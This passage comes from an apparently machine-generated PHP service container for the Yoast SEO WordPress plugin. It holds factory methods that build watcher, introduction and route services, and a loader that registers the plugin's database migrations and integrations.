     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Archive_Watcher
     */
    protected function getIndexablePostTypeArchiveWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Archive_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Change_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Change_Watcher
     */
    protected function getIndexablePostTypeChangeWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Change_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Watcher
     */
    protected function getIndexablePostWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] : $this->getIndexableHierarchyRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] : $this->getIndexableLinkBuilderService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] : $this->getAuthorArchiveHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] : $this->getPostHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Loggers\\Logger']) ? $this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] : ($this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] = new \Yoast\WP\SEO\Loggers\Logger())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Static_Home_Page_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Static_Home_Page_Watcher
     */
    protected function getIndexableStaticHomePageWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Static_Home_Page_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_System_Page_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_System_Page_Watcher
     */
    protected function getIndexableSystemPageWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_System_Page_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Taxonomy_Change_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Taxonomy_Change_Watcher
     */
    protected function getIndexableTaxonomyChangeWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Taxonomy_Change_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Term_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Term_Watcher
     */
    protected function getIndexableTermWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Term_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] : $this->getIndexableLinkBuilderService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] = new \Yoast\WP\SEO\Helpers\Site_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Option_Titles_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Option_Titles_Watcher
     */
    protected function getOptionTitlesWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Option_Titles_Watcher();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Option_Wpseo_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Option_Wpseo_Watcher
     */
    protected function getOptionWpseoWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Option_Wpseo_Watcher();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Primary_Category_Quick_Edit_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Primary_Category_Quick_Edit_Watcher
     */
    protected function getPrimaryCategoryQuickEditWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Primary_Category_Quick_Edit_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] : ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] : $this->getIndexableHierarchyBuilderService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Primary_Term_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Primary_Term_Watcher
     */
    protected function getPrimaryTermWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Primary_Term_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] : ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] = new \Yoast\WP\SEO\Helpers\Site_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] = new \Yoast\WP\SEO\Helpers\Primary_Term_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'] : $this->getPrimaryTermBuilderService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Search_Engines_Discouraged_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Search_Engines_Discouraged_Watcher
     */
    protected function getSearchEnginesDiscouragedWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Search_Engines_Discouraged_Watcher(${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Woocommerce_Beta_Editor_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Woocommerce_Beta_Editor_Watcher
     */
    protected function getWoocommerceBetaEditorWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Woocommerce_Beta_Editor_Watcher(${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\XMLRPC' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\XMLRPC
     */
    protected function getXMLRPCService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\XMLRPC'] = new \Yoast\WP\SEO\Integrations\XMLRPC();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Introductions\Application\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Introductions\Application\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell
     *
     * @deprecated Yoast\WP\SEO\Introductions\Application\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell is deprecated since version 23.2!
     */
    protected function getAiGenerateTitlesAndDescriptionsIntroductionUpsellService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell is deprecated since version 23.2!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Introductions\\Application\\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell'] = new \Yoast\WP\SEO\Introductions\Application\Ai_Generate_Titles_And_Descriptions_Introduction_Upsell(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository
     */
    protected function getWistiaEmbedPermissionRepositoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] = new \Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Introductions\User_Interface\Introductions_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Introductions\User_Interface\Introductions_Integration
     */
    protected function getIntroductionsIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration'] = new \Yoast\WP\SEO\Introductions\User_Interface\Introductions_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector']) ? $this->services['Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector'] : $this->getIntroductionsCollectorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository']) ? $this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] : $this->getWistiaEmbedPermissionRepositoryService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Introductions\User_Interface\Introductions_Seen_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Introductions\User_Interface\Introductions_Seen_Route
     */
    protected function getIntroductionsSeenRouteService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'};

        return $this->services['Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route'] = new \Yoast\WP\SEO\Introductions\User_Interface\Introductions_Seen_Route(new \Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository($a), $a, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector']) ? $this->services['Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector'] : $this->getIntroductionsCollectorService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Introductions\User_Interface\Wistia_Embed_Permission_Route' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Introductions\User_Interface\Wistia_Embed_Permission_Route
     */
    protected function getWistiaEmbedPermissionRouteService()
    {
        return $this->services['Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route'] = new \Yoast\WP\SEO\Introductions\User_Interface\Wistia_Embed_Permission_Route(${($_ = isset($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository']) ? $this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] : $this->getWistiaEmbedPermissionRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Loader' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Loader
     */
    protected function getLoaderService()
    {
        $this->services['Yoast\\WP\\SEO\\Loader'] = $instance = new \Yoast\WP\SEO\Loader($this);

        $instance->register_integration('Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration');
        $instance->register_command('Yoast\\WP\\SEO\\Commands\\Cleanup_Command');
        $instance->register_command('Yoast\\WP\\SEO\\Commands\\Index_Command');
        $instance->register_migration('free', '20171228151840', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable');
        $instance->register_migration('free', '20171228151841', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm');
        $instance->register_migration('free', '20190529075038', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists');
        $instance->register_migration('free', '20191011111109', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy');
        $instance->register_migration('free', '20200408101900', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables');
        $instance->register_migration('free', '20200420073606', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables');
        $instance->register_migration('free', '20200428123747', 'Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset');
        $instance->register_migration('free', '20200428194858', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths');
        $instance->register_migration('free', '20200429105310', 'Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables');
        $instance->register_migration('free', '20200430075614', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex');
        $instance->register_migration('free', '20200430150130', 'Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables');
        $instance->register_migration('free', '20200507054848', 'Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables');
        $instance->register_migration('free', '20200513133401', 'Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable');
        $instance->register_migration('free', '20200609154515', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn');
        $instance->register_migration('free', '20200616130143', 'Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex');
        $instance->register_migration('free', '20200617122511', 'Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable');
        $instance->register_migration('free', '20200702141921', 'Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex');
        $instance->register_migration('free', '20200728095334', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables');
        $instance->register_migration('free', '20201202144329', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime');
        $instance->register_migration('free', '20201216124002', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths');
        $instance->register_migration('free', '20201216141134', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths');
        $instance->register_migration('free', '20210817092415', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables');
        $instance->register_migration('free', '20211020091404', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps');
        $instance->register_migration('free', '20230417083836', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore');
        $instance->register_integration('Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions');
        $instance->register_route('Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route');
        $instance->register_route('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route');
        $instance->register_integration('Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration');
        $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks');
        $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps');
        $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Migration_Runner');
        $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Plugin_Headers');
        $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Woocommerce');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Academy_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon');
        $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration');
